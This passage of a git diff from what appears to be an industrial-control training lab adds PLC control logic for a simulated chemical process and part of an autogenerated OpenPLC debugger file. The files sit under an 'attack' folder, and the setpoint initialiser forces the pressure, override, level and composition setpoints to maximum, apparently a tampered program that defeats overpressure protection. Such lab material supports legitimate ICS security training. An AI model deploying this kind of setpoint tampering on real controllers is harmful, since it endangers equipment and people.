UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, 